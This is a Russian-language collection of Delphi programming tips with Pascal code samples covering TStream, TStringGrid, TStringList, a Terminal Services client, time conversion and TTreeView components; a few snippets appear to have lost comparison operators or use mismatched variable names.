Во-вторых, имеется известная проблема, описание которой содержится в разделе Developers Support корпоративного сайта Inprise (http://www.inprise.com). Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.

Несколько функций для TStream.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 These are three utility functions to write strings to a TStream. 
 Nothing fancy, but I just ended up coding this repeatedly so 
 I made these functions. }
 { 
 Hier sind einige TStreaam Hilfsfunktionen um strings 
 in einen TStream zu schreiben. 
}
 unit ClassUtils;
 interface
 uses
   SysUtils,
   Classes;
 {: Write a string to the stream 
   @param Stream is the TStream to write to. 
   @param s is the string to write 
   @returns the number of bytes written. }
 function Writestring(_Stream: TStream; const _s: string): Integer;
 {: Write a string to the stream appending CRLF 
   @param Stream is the TStream to write to. 
   @param s is the string to write 
   @returns the number of bytes written. }
 function WritestringLn(_Stream: TStream; const _s: string): Integer;
 {: Write formatted data to the stream appending CRLF 
   @param Stream is the TStream to write to. 
   @param Format is a format string as used in sysutils.format 
   @param Args is an array of const as used in sysutils.format 
   @returns the number of bytes written. }
 function WriteFmtLn(_Stream: TStream; const _Format: string;
   _Args: array of const): Integer;
 implementation
 function Writestring(_Stream: TStream; const _s: string): Integer;
 begin
   Result := _Stream.Write(PChar(_s)^, Length(_s));
 end;
 function WritestringLn(_Stream: TStream; const _s: string): Integer;
 begin
   Result := Writestring(_Stream, _s);
   Result := Result + Writestring(_Stream, #13#10);
end;
function WriteFmtLn(_Stream: TStream; const _Format: string;
   _Args: array of const): Integer;
 begin
   Result := WritestringLn(_Stream, Format(_Format, _Args));
 end;

TStringGrid и файловый поток.

- Хотел бы я на "винте" столько места, чтобы на него влез двухсот гигабайтный своп-файл! - Зачем тебе такой большой своп?!! - Да не нужен мне такой своп! Просто хотелось бы столько места!..
Какое наилучшее решение для сохранения экземпляра TStringGrid (150x10)?

Если вы хотите сохранить это на диске:

var:
  myStream: TFileStream;
begin
  myStream1 := TFileStream.Create('grid1.sav', fmCreate);
  myStream1.WriteComponent(StringGrid1);
  myStream1.Destroy;
end;

Для обратного чтения:

myStream    := TFileStream.Create('grid1.sav', fmOpenRead);
StringGrid1 := myStream1.ReadComponent(StringGrid1) as TStringGrid;

Форматирование ячеек TStringGrid.

Нажмите ! Ещё! Format complete...
...то, что вы хотите, звучит очень мудрено, в моем примере вследствие плавающей точки я сделал правое выравнивание, и сетка у меня редактируемая, работающая прямо сейчас (хоть это и DrawGrid, но технология одна и та же). Вам нужно сделать пару вещей: Обработчик OnDrawCell, отображающий отформатированные данные, выровненные по правому краю. В ячейки вашей сетки загружать неформатированные строки, представляющие собой ваши данные.

В вашем обработчике OnDrawCell создайте код типа того, что приведен ниже. Этот код отображает разделенную запятой величину, выровненную по правому краю:

begin
  if (Row > 0) and (Col > 0) and (grdDivBudget.Cells[Col, Row] <> '') then
  begin
    {Формат строки с числом с плавающей точкой}
    strText := FloatToStrF(StrToFloat(grdDivBudget.Cells[Col, Row]),
      ffNumber, 13, 2);
    {Устанавливаем шрифт}
    grdDivBudget.Canvas.Font.Name := 'Courier';
    if StrToFloat(grdDivBudget.Cells[Col, Row]) < 0 then
      grdDivBudget.Canvas.Font.Color := clRed;
    grdDivBudget.Canvas.Font.Style := grdDivBudget.Canvas.Font.Style -
      [fsBold];
    {Центрируем текст в ячейке по вертикали, по правому полю,
    и отодвигаем его от правого поля на два пикселя.}
    X := Rect.Right - grdDivBudget.Canvas.TextWidth(strText);
    Y := Rect.Top + ((Rect.Bottom - Rect.Top -
      grdDivBudget.Canvas.TextHeight(strText)) div 2);
    Dec(Rect.Right, 2);
    grdDivBudget.Canvas.TextRect(Rect, X, Y, strText);
  end;
end;
Убедитесь в том, что вы имеете DefaultDrawing := True, так, чтобы вы могли в ячейках выводить только текст, остальную отрисовку за вас сделает VCL. Теперь все должно работать. При попытке пользователя отредактировать число в ячейке, оно будет отображаться в неформатированном виде (если у вас нет необходимости в обработчике события OnGetEditText).

Но при этом вы можете обнаружить, что проверка данных для данного способа может быть проблематична (например, что будет, если пользователь введет 'TX' в числовой колонке). Эта ситуация усугубляется тем фактом, что сетка (во всяком случае DrawGrid) не позволяет реализовать "последовательное поведение" для различных путей навигации по сетке (например, инициализировать различные события, если вы пользуетесь курсорными стрелками, мышью, или просто нажимаете Enter). Но и это все решается простой посылкой другого сообщения (позже я расскажу вам как это можно сделать).

Сортировка по содержимому нужного столбца в TStringGrid.

Статьи по Delphi (017)…
unit olimp_;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Grids, StdCtrls;
type
  TForm1 = class(TForm)
    Tabl: TStringGrid;
    Button1: TButton;
    Label1: TLabel;
    procedure FormActivate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormActivate(Sender: TObject);
begin
  tabl.Cells[0, 0] := 'Страна';
  tabl.Cells[1, 0] := 'Золотых';
  tabl.Cells[2, 0] := 'Серебряных';
  tabl.Cells[3, 0] := 'Бронзовых';
  tabl.Cells[4, 0] := 'Всего';
  tabl.Cells[5, 0] := 'Баллов';
  tabl.Cells[0, 1] := 'Австралия';
  tabl.Cells[0, 2] := 'Белоруссия';
  tabl.Cells[0, 3] := 'Великобритания';
  tabl.Cells[0, 4] := 'Германия';
  tabl.Cells[0, 5] := 'Италия';
  tabl.Cells[0, 6] := 'Китай';
  tabl.Cells[0, 7] := 'Корея';
  tabl.Cells[0, 8] := 'Куба';
  tabl.Cells[0, 9] := 'Нидерланды';
  tabl.Cells[0, 10] := 'Россия';
  tabl.Cells[0, 11] := 'США';
  tabl.Cells[0, 12] := 'Франция';
  tabl.Cells[0, 13] := 'Япония';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  c, r: integer; // номер колонки и строки таблицы
  s: integer; // всего медалей у команды
  p: integer; // очков у команды
  m: integer; // номер строки с максимальным количеством очков
  buf: array[0..5] of string; // буфер для обмена строк
  i: integer; // номер строки используется во время сортировки
begin
  for r := 1 to tabl.rowcount do // обработать все строки
  begin
    s := 0;
    // вычисляем общее кол-во медалей
    for c := 1 to 3 do
      if tabl.cells[c, r] <> '' then
        s := s + StrToInt(tabl.cells[c, r])
      else
        tabl.cells[c, r] := '0';
    // вычисляем количество очков
    p := 7 * StrToInt(tabl.cells[1, r]) +
      6 * StrToInt(tabl.cells[2, r]) +
      5 * StrToInt(tabl.cells[3, r]);
    // вывод результата
    tabl.cells[4, r] := IntToStr(s); // всего медалей
    tabl.cells[5, r] := IntToStr(p); // очков
  end;
  // сортировка таблицы по убыванию в соответствие
  // с количеством баллов (по содержимому 5-ого столбца)
  // сортировка методом выбора
  for r := 1 to tabl.rowcount - 1 do
  begin
    m := r; // максимальный элемент - в r-ой строке
    for i := r to tabl.rowcount - 1 do
      if StrToInt(tabl.cells[5, i]) > StrToInt(tabl.cells[5, m]) then
        m := i;
    if r <> m then
    begin // обменяем r-ую и m-ую строки таблицы
      for c := 0 to 5 do
      begin
        buf[c] := tabl.Cells[c, r];
        tabl.Cells[c, r] := tabl.Cells[c, m];
        tabl.Cells[c, m] := buf[c];
      end;
    end;
  end;
end;
end.
Скачать весь проект

Вывести номер строки и столбца TStringGrid.

Автор: Дмитрий Карагеур

Например, у нас есть таблица с некоторыми данными, и нам необходимо какую-либо запись отредактировать/удалить и т.п. Чтобы не считать, какой это столбец или строка используем следующее: создаем popup menu, прописываем его в форме и создаем соответствующие обработчики событий - это все в файле. На самой таблице жмем правым кликом и edit и перед нами номер строки и столбца. Эти данные пригодятся для создания более интерактивного и дружественного интерфейса ваших приложений.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Grids, Menus;
type
  TForm1 = class(TForm)
    StringGrid1: TStringGrid;
    PopupMenu1: TPopupMenu;
    Edit1: TMenuItem;
    procedure StringGrid1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Edit1Click(Sender: TObject);
  private
    { Private declarations }
  public
    x1, y1: integer;
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.StringGrid1MouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  form1.x1 := x;
  form1.y1 := y;
end;
procedure TForm1.Edit1Click(Sender: TObject);
var
  Column, Row: Longint;
begin
  StringGrid1.MouseToCell(form1.x1, form1.y1, Column, Row);
  ShowMessage('Строка - ' + IntToStr(row) + #13 + 'Столбец - ' + IntToStr(column));
end;
end.

TStringGrid с фокусом (OnDrawCell).

Если вы создаете собственный обработчик компонента TStringGrid OnDrawCell, то вы можете нарисовать все, что вам заблагорассудится. Попробуйте, к примеру, это:

procedure TForm1.DrawCell(Sender: TObject;
  Col: Longint;
  Row: Longint;
  Rect: TRect;
  State: TGridDrawState);
var
  lRow, lCol: LongInt;
  S: string;
begin
  lRow := Row;
  lCol := Col;
  with Sender as TStringGrid, Canvas do
  begin
    if (gdSelected in State) then
    begin
      Brush.Color := clHighlight; { *** }
    end
    else if (lRow < FixedRows) or (lCol < FixedCols) then
    begin
      Brush.Color := FixedColor;
    end
    else
    begin
      Brush.Color := Color;
    end;
    FillRect(Rect);
    SetBkMode(Handle, TRANSPARENT);
    TextOut(Rect.Left + 2, Rect.Top + 2, Cells[lCol, lRow]);
  end;
end;

Строка с комментарием { *** } в данном контексте ключевая. Она "сообщает" о том, что если мы рисуем ячейку, которая имеет фокус, то мы ее рисуем с применением цвета подсветки (highlight) (хотя вы бы могли здесь использовать любой другой нравящийся вам цвет), хотя никто нам специально о необходимости подкрашивания области сфокусированной ячейки и не говорил. Единственная проблема возникает со шрифтом, но в конечном счете я обнаружил, что она решается сама собой, если установить свойство компонента TStringGrid DefaultDrawing в TRUE (я потерял немало времени, решая проблему цвета шрифта со значением FALSE!). Попробуйте также поиграться с другими настройками цветов, может вам повезет и вы добъетесь неописуемой красоты компонента TStringGrid.

TStringList в TIniFile.

Летит компьютер с 9-го этажа, и думает: "Вот бы щас зависнуть... "
uses Classes;
type
  TIniStringlist = class( TStringList )
  public
    procedure LoadFromIni(const FileName, Section: string);
    procedure SaveToIni(const FileName, Section: string);
end;
implementation
uses
  IniFiles, SysUtils;
procedure TIniStringList.LoadFromIni(const FileName, Section: string);
var
  index: Integer;
  Line: string;
begin
  with TIniFile.Create( FileName ) do
    try
      ReadSectionValues( Section, Self);
      for index:= 0 to Count - 1 do
      begin
        { Удаляем имя идентификатора ...}
        Line:= Values[ IntToStr( index ) ];
        { Удаляем тильду ... }
        System.Delete( Line, 1, 1);
        Strings[ index ]:= Line;
      end;
    finally
      Free;
    end;
end;
procedure TIniStringList.SaveToIni( const FileName, Section: string);
var
  index: Integer;
  Line: string;
begin
  with TIniFile.Create( FileName ) do
    try
      EraseSection( Section );
      for index:= 0 to Count - 1 do
      begin
        { Сохраняем белые пробелы, пустые строки ...}
        Line:= '~' + Strings[ index ];
        WriteString( Section, IntToStr( index ), Line);
      end;
    finally
      Free;
    end;
end;
end.

Применение:

var
  L: TIniStringList;
begin
  L := TIniStringList.Create;
  L.LoadFromIni('MyFile.Ini', 'Alati'); {Загружаем L..}
  L.Free;
end.

Свойство TStringList.

Автор: Mike Orriss Вам необходимо определять поле как TStrings, а не как TStringList - ловушка, в которую, подразумеваю, попадал не я один!

Следующий пример показывает подход, необходимый для создания свойства, имеющего тип TStringList:

private
  FList: TStrings;
protected
  procedure SetList(Value: TStrings);
published
  property List: TStrings read FList write SetList;
...
constructor Txxxxx.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FList := TStringList.Create;
end;
destructor Txxxxx.Destroy;
begin
  FList.Free;
  inherited Destroy;
end;
procedure Txxxxx.SetList(Value: TStrings);
begin
  FList.Assign(Value);
end;

Редактор свойства TStringListProperty.

Автор: Pat Ritchey Я пишу редактор для свойства TStrings. В зависимости от значений других свойств, я хотел бы показывать или свой редактор свойства, или редактор свойства TStringListProperty, заданный по умолчанию, но я не знаю как передавать управление TStringListProperty...

Сделайте ваш редактор свойства наследником TStringListProperty (добавьте STREDIT в список используемых модулей) и согласно вашим обстоятельствам вызывайте метод предка Edit:

unit MyEditor;
interface
uses STREDIT;
type
  TMyStringListProperty = class(TStringListProperty)
    procedure Edit; override;
  end;
implementation
procedure TMyStringListProperty.Edit;
begin
  if { какие-то условия } then
    { что-то делаем }
  else
    inherited Edit;
end;
end.

TStringList и потоки.

Автор: Mike Scott Возможно ли выполнить StringList.SaveToStream во время процесса WriteComponent? Если необходимо создать код, сохраняющий каждую строку, могу ли я воспользоваться Stream.WriteStr, или мне необходимо сохранять длину в байтах + сами символы? (Все мои строки < 256 символов).

Вы можете легко записывать строки, если определите, что список строк вместо DefineBinaryPropery должен использовать DefineProperty. Чтение и запись должны выпоняться соответственно с помощью методов TReader и TWriter. Записывать вы можете приблизительно так:

Writer.WriteListBegin ;
for i := 0 to TheStringList.Count - 1 do
Writer.WriteString( TheStringList[ i ] ) ;
Writer.WriteListEnd ;

Для чтения можно воспользоваться следующим кодом:

Reader.ReadListBegin ;
while not Reader.EndOfList do
TheStringList.Add( Reader.ReadString ) ;
Reader.ReadListEnd ;

Удаление дубликатов в TStringList.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     with sl do
     begin
       // Duplicates does nothing 
      // if the list is not sorted. 
      Sorted := True;
       // Ignore attempts to add 
      // duplicate strings to the list. 
      Duplicates := dupIgnore;
       Add(Edit1.Text);
     end;
     Listbox1.Items.Assign(sl);
   finally
     sl.Free;
   end;
 end;

TStringList.IndexOf. Зависимость от сортировки.

Автор: Илья Илларионов Свойство Sorted и метод IndexOf. В VCL Help написано, что TStringlist.IndexOf возвращает ссылку на ПЕРВЫЙ объект списка, имеющий заданное имя. В случае, если Sorted == False, это именно так, потому что индекс ищется путем прямого сканирования имен. В случае же, если Sorted == True, и объектов с одинаковым именем в списке НЕСКОЛЬКО, IndexOf возвращает вхождение ПОСЛЕДНЕГО объекта, т.к. поиск осуществляется по отсортированному массиву, а именно после последнего объекта должен добавлять метод Add при добавлении в сортированный массив. Логично, но полное противоречие с Help. Способ решения пока такой: после получения индекса пытаться сканировать вверх до тех пор, пока имя не перестанет совпадать с требуемым, или до 0. При сканировании следует обращать внимание на свойство CaseSensitive класса. КОММЕНТАРИЙ Анализ кода TStringList.IndexOf (D5) показывает, что в случае отсутствия сортировки работает линейный метод TStrings.IndexOf, иначе - метод Find, который и находит (согласно Help) последний из одинаковых элементов.

Вывод: недоработана статья из Help по TStringList.IndexOf, где эта особенность не описана.

TStringList, владеющий объектами.

В этом случае вам нужно освобождать объекты StringList точно также, как вы это делали без него. StringList.Free просто очистит список и строки, но не ассоциированные с ними объекты. Дело в том, что вы могли бы иметь указатели на объекты, например, в двух StringList, и вы могли бы захотеть освободить в одном список строк без освобождения объектов, содержащихся в другом.

Вы можете создать свой собственный класс, автоматизирующий процедуру освобождения объектов. Вот образец такого класса:

TOwnerStringList = class(TStringList)
private
  FOwnsObjects: Boolean;
public
  constructor Create(AOwnsObjects: Boolean); override;
  destructor Destroy; override;
end;
constructor TOwnerStringList.Create(AOwnsObjects: Boolean);
begin
  inherited Create;
  FOwnsObjects := AOwnsObjects;
end;
destructor TOwnerStringList.Destroy;
var
  I: Integer;
begin
  if FOwnsObjects then
    for I := 0 to MyStrLst.Count - 1 do
      TObject(Objects[I]).Free;
  inherited Destroy;
end;

Теперь, когда у вас есть взаимно-однозначное соответствие между списком строк и имеющимися объектами, то для создания нового списка, который уничтожал бы объекты при освобождении списка строк, вам необходимо выполнить команду: "MyStringList := TOwnerStringList.Create(True)". Для того, чтобы список вел себя как обычно, передавайте в методе Create в качестве параметра False, или просто используйте нормальный TStringList.

TStringList. Неустойчивость сортировки.

Автор: Илья Илларионов Метод Sort класса TStringList является НЕУСТОЙЧИВЫМ. Это критично при работе со свойством Objects. Например, при использовании в качестве строкового индекса для добавляемых объектов. После вызова Sort объекты с одинаковым именем в списке располагаются в порядке, обратном тому, в котором были добавлены. Способ решения - всегда сортировать список два раза. В этом случае, даже если Borland поправит недокументированный глюк с неустойчивостью сортировки, объекты все равно будут, после перекомпиляции на новых исходниках TStringList, находиться в нужном порядке. КОММЕНТАРИЙ Этот камень перенесен из категории БИБЛИОТЕКА.

Описываемый эффект обусловлен особенностью реализации метода сортировки QuickSort. Во первых, нельзя считать его неустойчивым, поскольку он всегда поступает однообразно по отношению к элементам с одинаковым значением ключа - а именно переупорядочивает их строго в обратном порядке по отношению к исходному. Во-вторых, как справедливо замечено в обсуждении, метод сортировки не несет ответственности за порядок сортировки при неуникальных ключах.

Создать Terminal Services Client.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
"WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer  
network: each client computer can emulate server's desktop by using a simple executable  
named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in  
"mstscax.dll".  
These files are automatically installed in Windows XP and Windows 2000 Server but not  
in Windows2000 Professional or Windows98. You can download the entire package containing 
these file at the following url:  
http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang= 
After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's 
take into consideration the folder "System32": this is the folder containing  
"mstsc.exe" and "mstscax.dll". 
Now register the ActiveX control "MsTscAx": 
  1)Start->Run-> 
  2)type the following command line: regsvr32 <path to mstscax.dll>\mstscax.dll 
where <path to mstscax.dll> is the complete path to the file "mstscax.dll". 
    
In this article I will show you how to embed the ActiveX control "MsTscAx"  
in a Delphi application in order to build a substitute of "mstsc.exe".  
First of all you must import the ActiveX control "mstscax": 
in the Delphi IDE: 
1)Component->Import ActiveX Control 
2)Select "Microsoft Terminal Services Control"  
  the class name will be "TMsTscAx" 
3)Select the unit dir name and press "Create Unit": you have created the import Unit. 
4)Create a package or select an existing one and add the created unit to this package 
  Recompile the package and now delphi palette will contain (in the ActiveX tab if you 
  haven't changed it in the importing process) the MstScax component. 
Now create a new Delphi project and add the Mstscax component to it. 
Let's go to analize the interesting properties of this new component:  
1)Server: this is the IP of the Windows2000 Server computer whose desktop we want 
  to emulate 
2)BitmapPeristence:  
  1 if you want to cache Bitmaps or 0 otherwise  
3)Compress: 
  1 if you want to cache data or 0 otherwise   
With the "Connect" method I open a terminal emulation session. 
With the "Disconnect" method I disconnect from a terminal emulation session but the 
session itself isn't closed on the server. 
Another important feature of "Client Terminal Service" is the ability to define a 
program that automatically run when the client machine opens a terminal  
emulation session. You can programatically achieve this target in this manner: 
Set_StartProgram(<Path to Exe>\<Exe filename>); 
Once defined an automatically running program, the client computer will see a remote 
desktop which is clear except for the presence of the program itself; this is 
useful if you want to restrict the operative range of your client computers to the  
program itself. When the program is closed, the connection is closed and the session 
on the windows 2000 server computer is closed. 
this is the code of my example project: 
}
 unit Main;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   OleCtrls, ExtCtrls, StdCtrls,
   MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned 
               //during the import process if this is different to it 
type
   TForm1 = class(TForm)
     MsTscAx1: TMsTscAx;
     Panel1: TPanel;
     btConnect: TButton;
     procedure btConnectClick(Sender: TObject); //connection button 
    procedure FormCreate(Sender: TObject);
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
     procedure MsTscAx1Disconnected(Sender: TObject;
       DisconnectReason: Integer);
     procedure MsTscAx1Connecting(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.DFM}
 procedure TForm1.btConnectClick(Sender: TObject);
 begin
   MsTscAx1.Connect;
 end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Left   := 0;
   Top    := 0;
   Height := Screen.Height - 20;
   Width  := Screen.Width;
   MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server  
  with MsTscAx1.AdvancedSettings do
   begin
     BitmapPeristence := 1;//enable bitmap cache 
    Compress         := 1;//enable data cache 
  end;
   with MsTscAx1.SecuredSettings do
   begin
     Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe');
     //the program I want to run  
  end;
 end;
 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   if not btConnect.Enabled then
    //I must close the automatically running program before closing 
  //my terminal emulation program 
  begin
     MessageDlg('Close "DbBrowser.exe" before closing the application!',
       mtInformation, [mbOK], 0);
     Action := caNone;
   end;
 end;
 procedure TForm1.MsTscAx1Disconnected(Sender: TObject;
   DisconnectReason: Integer);
 begin
   btConnect.Enabled := True;
 end;
 procedure TForm1.MsTscAx1Connecting(Sender: TObject);
 begin
   btConnect.Enabled := False;
 end;
 end.
  { 
In order to run this application in another computer you must copy the file 
"mstscax.dll" on the target  
computer and register it with "regsvr32" as shown at the beginning of this 
article. You can automate this 
process by embedding the file in your executable, etc.. 
Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it 
}

Использовать TTime для более 24 часов.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function TextToTime(S: string): Integer;
 var
   p, i: Integer;
   Sh, Sm, Ss: string;
 begin
   Sh := '';
   SM := '';
   SS := '';
   i  := 1;
   p  := 0;
   while i do
   begin
     if (s[i] <> ':') then
     begin
       case P of
         0: SH := Sh + s[i];
         1: SM := SM + S[i];
         2: SS := SS + S[i];
       end;
     end
     else
       Inc(p);
     Inc(i);
   end;
   try
     Result := (StrToInt(SH) * 3600) + (StrToInt(SM) * 60) + (StrToInt(SS))
     except
       Result := 0;
   end;
 end;
 function TimeToText(T: Integer): string;
 var
   H, M, S: string;
   ZH, ZM, ZS: Integer;
 begin
   ZH := T div 3600;
   ZM := T div 60 - ZH * 60;
   ZS := T - (ZH * 3600 + ZM * 60);
   if ZH then H := '0' + IntToStr(ZH)
   else
     H := IntToStr(ZH);
   if ZM then M := '0' + IntToStr(ZM)
   else
     M := IntToStr(ZM);
   if ZS then S := '0' + IntToStr(ZS)
   else
     S := IntToStr(ZS);
   Result := H + ':' + M + ':' + S;
 end;

TTreeView. Проблемы CustomDraw.

Автор: Rustam Kafarov При использовании компонента TTreeView возникают проблемы при собственной отрисовке содержимого компонента в событиях OnCustomDraw, OnCustomDrawItem, OnAdvancedCustomDraw, OnAdvancedCustomDrawItem. Проблема проявляется когда свойства Canvas компонента устанавливаются вторично. К примеру, при попытке изменить цвет фонта во второй раз, соотвествующих изменений НЕ ПОСЛЕДУЕТ. Тоже самое и со свойствами Brush, Pen. Проверено на Дельфи 5.

Контрольный пример (на форме TTreeView и TCheckBox):

procedure TForm1.TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
  Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
  var PaintImages, DefaultDraw: Boolean);
var
  ARect: TRect;
  S: string;
begin
  if not CheckBox1.Checked then
    Exit;
  case Stage of
    cdPostPaint:
      begin
        ARect := Node.DisplayRect(True);
        ARect.Right := TreeView1.ClientWidth;
        with TreeView1.Canvas do
        begin
          if cdsSelected in State then
            Brush.Color := clHighlight
          else
            Brush.Color := clWindow;
          FillRect(ARect);
          Font.Color := clGreen;
          S := 'AbsoluteIndex : ' + IntToStr(Node.AbsoluteIndex);
          TextOut(ARect.Left, ARect.Top, S);
          // цвет шрифта должен поменяться!!!
          Font.Color := clBlue;
          // Но он не меняется :-(((
          TextOut(ARect.Left + TextWidth(S) + 20, ARect.Top, Node.Text);
        end;
      end;
  end; { Case }
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  TreeView1.Repaint;
end;
ТИПОВЫЕ РЕШЕНИЯ Использовать API функции Windows такие как SetTextColor, SelectObject и т.д, передавая им в качестве первого параметра Canvas.Handle. КОММЕНТАРИЙ Проверено (Delphi 5 Update Pack 1, WinNT, Win2000). Действительно, эффект имеет место быть. Вероятно, Борланд перемудрил что-то в своем кэше ресурсов GDI (класс TCanvas).

При присваивании Font.Color изменяется только внутреннее поле FColor. В методе TCanvas.TextOut не выполняется SetTextColor(FHandle, ColorToRGB(FFont.Color)), как это сделано в TCanvas.Draw. Следовательно, мы имеем более глобальную проблему, чем рисование узлов дерева вручную.

TreeView - компонент для показа dataset в виде дерева с сохранением.

Автор: Валентин WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> TreeView - компонент для показа dataset в виде дерева с сохранением
Цель создания: необходимость быстрого выбора товара из справочника в виде дерева.
Компонент для визуализации дерева из таблицы. привязка к полям не ведется.
Ключевое поле находится в node.stateindex.
Использует 4 иконки для узлов и позиций, где 0-невыбранный узел,
1- выбранный узел, 2- невыбранный пункт, 3- выбранный пункт.
Необходимо выбрать datasource. вписать id, parentid.
Заполнение методом MRRefresh.
Сохранение в файл методом
MRPSaveToFile(ProgPath+'NameTree.tree').
Загрузка из файла соответственно MRPLoadFromFile(ProgPath+'NameTree.tree').
Кроме того поддерживаются метода последовательно поиска в обоих направлениях.
Зависимости: Windows, Messages, SysUtils, Classes, Controls, ComCtrls,DB,DBCtrls
Автор:       Валентин, visor123@ukr.net, Днепропетровск
Copyright:   Собственная разработка.
Дата:        9 апреля 2003 г.
***************************************************** }
unit GRTreeView;
interface
uses
  Windows, Messages, SysUtils, Classes, Controls, ComCtrls, DB, DBCtrls,
  Dialogs;
type
  TMRGroupRec = record
    ID, MasterID, Level: integer;
    MainName: string;
  end;
  TMRGroup = class(TPersistent)
  private
    fCount: integer;
  protected
    procedure SetCount(value: integer);
  public
    items: array of TMRGroupRec;
    property Count: integer read fCount write SetCount;
    constructor Create;
    destructor destroy; override;
    procedure Clear;
    procedure Add(AID, AMasterID: integer; AMainName: string);
    function GetIndexByMasterID(AMasterID: integer): integer;
  end;
  TGRTreeView = class(TTreeView)
  private
    { Private declarations }
    fDataSource: TDataLink;
    fFeyField: TFieldDataLink;
    fMasterFeyField: TFieldDataLink;
    fNameField: TFieldDataLink;
    // fRootName:string;
    fSeparator: Char;
    fLock: Boolean;
    fSearchIndex: integer;
    function GetBufStart(Buffer: PChar; var Level: Integer): PChar;
  protected
    { Protected declarations }
    function GetDataSource: TDataSource;
    procedure SetDataSource(value: TDataSource);
    function GetKeyField: string;
    procedure SetKeyField(value: string);
    function GetMasterKeyField: string;
    procedure SetMasterKeyField(value: string);
    function GetNameField: string;
    procedure SetNameField(value: string);
    procedure SetSeparator(value: char);
    procedure GetImageIndex(Node: TTreeNode); override;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor destroy; override;
    function MRRefresh: Boolean;
    procedure MRPLoadFromFile(const FileName: string); overload;
    procedure MRPLoadFromFile(const FileName: string; RootName: string);
      overload;
    procedure MRPLoadFromStream(Stream: TStream);
    procedure MRPSaveToFile(const FileName: string);
    procedure MRPSaveToStream(Stream: TStream);
    function MRGetIndexByText(AText: string): integer;
    function MRGetIndexByMasterID(MasterID: integer): integer;
    function MRGetIndexByMasterIDRecurse(MasterID: integer): integer;
    function MRSearchByText(AText: string; Next: Boolean = True; UseSearchIndex:
      Boolean = false): integer;
  published
    { Published declarations }
    property Separator: char read fSeparator write SetSeparator;
    property DataSource: TDataSource read GetDataSource write SetDataSource;
    property KeyField: string read GetKeyField write SetKeyField;
    property MasterField: string read GetMasterKeyField write SetMasterKeyField;
    property NameField: string read GetNameField write SetNameField;
  end;
procedure Register;
implementation
//var
// MGRGroup:array of TMRGroup;
procedure Register;
begin
  RegisterComponents('Visor', [TGRTreeView]);
end;
{ TGRTreeView }
constructor TGRTreeView.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  fDataSource := TDataLink.Create;
  fFeyField := TFieldDataLink.Create;
  fFeyField.Control := self;
  fMasterFeyField := TFieldDataLink.Create;
  fMasterFeyField.Control := self;
  fNameField := TFieldDataLink.Create;
  fNameField.Control := self;
  fSeparator := '^';
  fLock := false;
  HideSelection := false;
  fSearchIndex := -1;
end;
destructor TGRTreeView.destroy;
begin
  fNameField.Free;
  fNameField := nil;
  fFeyField.Free;
  fFeyField := nil;
  fDataSource.Free;
  fDataSource := nil;
  inherited;
end;
function TGRTreeView.GetBufStart(Buffer: PChar; var Level: Integer): PChar;
begin
  Level := 0;
  while Buffer^ in [' ', #9] do
  begin
    Inc(Buffer);
    Inc(Level);
  end;
  Result := Buffer;
end;
function TGRTreeView.GetDataSource: TDataSource;
begin
  Result := fDataSource.DataSource;
end;
procedure TGRTreeView.MRPLoadFromFile(const FileName: string);
var
  Stream: TStream;
  FNT, FNR, Ex: string;
begin
  if not FileExists(FileName) then
    Exit;
  Ex := ExtractFileExt(FileName);
  if Ex = '' then
  begin
    FNT := ExtractFileName(FileName) + '.tree';
    FNR := ExtractFileName(FileName) + '.ini';
  end
  else
  begin
    FNT := ExtractFileName(FileName);
    FNT := Copy(FNT, 0, pos('.', FNT) - 1);
    FNR := FNT + '.ini';
    FNT := FNT + '.tree';
  end;
  FNT := ExtractFilePath(FileName) + FNT;
  FNR := ExtractFilePath(FileName) + FNR;
  Stream := TFileStream.Create(FNT, fmOpenRead);
  try
    MRPLoadFromStream(Stream);
  finally
    Stream.Free;
  end;
end;
function TGRTreeView.MRGetIndexByText(AText: string): integer;
var
  i: integer;
begin
  if Items.Count = 0 then
  begin
    Result := -1;
    Exit;
  end;
  for i := 0 to Items.Count - 1 do
  begin
    if Items.Item[i].Text = AText then
    begin
      Result := i;
      Exit;
    end;
  end;
  Result := -1;
end;
